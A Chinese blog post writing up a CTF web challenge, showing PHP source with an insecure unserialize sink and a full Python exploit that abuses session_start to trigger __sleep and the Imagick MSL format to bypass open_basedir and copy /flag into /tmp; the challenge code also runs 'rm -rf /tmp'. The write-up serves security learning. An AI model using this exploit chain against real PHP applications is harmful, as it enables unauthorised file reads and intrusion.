php中遇到new $a($b)的解法 imagick类的利用绕过open_basedir

今天做题遇到一个新的知识点,接下来回顾下。

源码
 <?php
error_reporting(0);
ini_set('open_basedir', __DIR__.":/tmp");
define("FUNC_LIST", get_defined_functions());

class fumo_backdoor {
    public $path = null;
    public $argv = null;
    public $func = null;
    public $class = null;
    
    public function __sleep() {
        if (
            file_exists($this->path) && 
            preg_match_all('/[flag]/m', $this->path) === 0
        ) {
            readfile($this->path);
        }
    }

    public function __wakeup() {
        $func = $this->func;
        if (
            is_string($func) && 
            in_array($func, FUNC_LIST["internal"])
        ) {
            call_user_func($func);
        } else {
            $argv = $this->argv;
            $class = $this->class;
            
            new $class($argv);
        }
    }
}

$cmd = $_REQUEST['cmd'];
$data = $_REQUEST['data'];

switch ($cmd) {
    case 'unserialze':
        unserialize($data);
        break;
    
    case 'rm':
        system("rm -rf /tmp 2>/dev/null");
        break;
    
    default:
        highlight_file(__FILE__);
        break;
}

看到源码我人都懵了,唯一的思路就是new $class($argv)可能会用到内部类,但是读取文件可能要利用到sleep魔术方法,但是sleep是执行serialize()时,先会调用这个函数,所以如何触发这个方法成了一个问题。看了wp发现调用无参函数 session_start ,session_start 会将会话数据反序列化得到 fumo_backdoor 对象,会话结束时会将这个 fumo_backdoor 再次序列化,从而调用到 __sleep 方法。所以我们现在需要利用的就是new $class($argv);来读取到对flag进行操作,因为限制了目录,所以我们需要的方法要绕过目录的限制。

https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/

这篇文章介绍了imagick类,由于 Imagick 底层实现并不在 php 里,因此使用 Imagick 去读取文件可以无视 open_basedir。
imagick:文章中提到 ImageMagick 格式是 MSL。MSL 代表 Magick 脚本语言。它是一种内置的ImageMagick 语言,有助于读取图像、执行图像处理任务以及将结果写回文件系统。

而上图中的msl文件内容意思就是读取positive.png的内容,写入/tmp/xxxxx下,那我们能不能读取/flag写入/tmp目录下,然后反序列化读取文件就可以得到我们的flag了。
最后附上一篇大佬的payoad:

payload
import requests
import base64 
import time
import re

url = "http://192.168.137.131:28999/index.php"
url = "http://182.92.6.230:18080"
proxies = {
    "http":"http://127.0.0.1:8080",
    "https":"http://127.0.0.1:8080"
}

write_session_params = 'O%3A13%3A%22fumo_backdoor%22%3A4%3A%7Bs%3A4%3A%22path%22%3BN%3Bs%3A4%3A%22argv%22%3Bs%3A17%3A%22vid%3Amsl%3A%2Ftmp%2Fphp%2A%22%3Bs%3A4%3A%22func%22%3Bb%3A0%3Bs%3A5%3A%22class%22%3Bs%3A7%3A%22imagick%22%3B%7D'

trigger_sleep_payload = 'aaa|O:13:"fumo_backdoor":4:{s:4:"path";s:9:"/tmp/xxxx";s:4:"argv";N;s:4:"func";s:12:"zend_version";s:5:"class";N;}'

trigger_sleep_params = 'O%3A13%3A%22fumo_backdoor%22%3A4%3A%7Bs%3A4%3A%22path%22%3BN%3Bs%3A4%3A%22argv%22%3BN%3Bs%3A4%3A%22func%22%3Bs%3A13%3A%22session_start%22%3Bs%3A5%3A%22class%22%3BN%3B%7D&cmd=unserialze'


def gen_ppm(payload):
    ppm_content = '''P6
9 9
255
{}'''.format((243-len(payload))*"\x00" + payload)
    ppm_content = base64.b64encode(ppm_content.encode()).decode()
    return ppm_content

def rm_tmp_file():
    headers = {"Accept": "*/*"}
    requests.get(
        f"{url}/?cmd=rm",
        headers=headers,
        proxies=proxies
    )

def upload_file(file_content,file_path):
    headers = {
        "Accept": "*/*",
        "Content-Type": "multipart/form-data; boundary=------------------------c32aaddf3d8fd979"
    }

    data = f"--------------------------c32aaddf3d8fd979\r\nContent-Disposition: form-data; name=\"swarm\"; filename=\"swarm.msl\"\r\nContent-Type: application/octet-stream\r\n\r\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n<image>\r\n <read filename=\"inline:data://image/x-portable-anymap;base64,{file_content}\" />\r\n <write filename=\"{file_path}\" />\r\n</image>\r\n--------------------------c32aaddf3d8fd979--"
    try:
        requests.post(
            f"{url}/?data={write_session_params}&cmd=unserialze",
            headers=headers, data=data,proxies=proxies
        )
    except requests.exceptions.ConnectionError:
        pass


def upload_session():
    payload = gen_ppm(trigger_sleep_payload)
    upload_file(payload,"/tmp/sess_afkl")

def copy_flag():
    headers = {
        "Accept": "*/*",
        "Content-Type": "multipart/form-data; boundary=------------------------c32aaddf3d8fd979"
    }

    data = f"--------------------------c32aaddf3d8fd979\r\nContent-Disposition: form-data; name=\"swarm\"; filename=\"swarm.msl\"\r\nContent-Type: application/octet-stream\r\n\r\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n<image>\r\n <read filename=\"mvg:/flag\" />\r\n <write filename=\"/tmp/xxxx\" />\r\n</image>\r\n--------------------------c32aaddf3d8fd979--"
    try:
        requests.post(
            f"{url}/?data={write_session_params}&cmd=unserialze",
            headers=headers, data=data,proxies=proxies
        )
    except requests.exceptions.ConnectionError:
        pass


def get_flag():
    cookies = {"PHPSESSID": "afkl"}
    headers = {"Accept": "*/*"}
    response = requests.get(
        f"{url}/?data={trigger_sleep_params}&cmd=unserialze", 
        headers=headers, cookies=cookies,proxies=proxies
    )
    print(response.text)
    return re.findall(r"(flag\{.*\})", response.text)

if __name__ == '__main__':
    rm_tmp_file()
    time.sleep(2)
    copy_flag()
    time.sleep(2)
    upload_session()
    time.sleep(2)
    get_flag()
在ciscn2022的backdoor中出现了类似的做法,贴上wp:

https://github.com/AFKL-CUIT/CTF-Challenges/blob/master/CISCN/2022/backdoor/writup/writup.md

总结:

  1. imagick类的利用
  2. 通过php session反序列化来触发__sleep魔术方法
posted @ 2024-07-18 09:05  jockerliu  阅读(59)  评论(0编辑  收藏  举报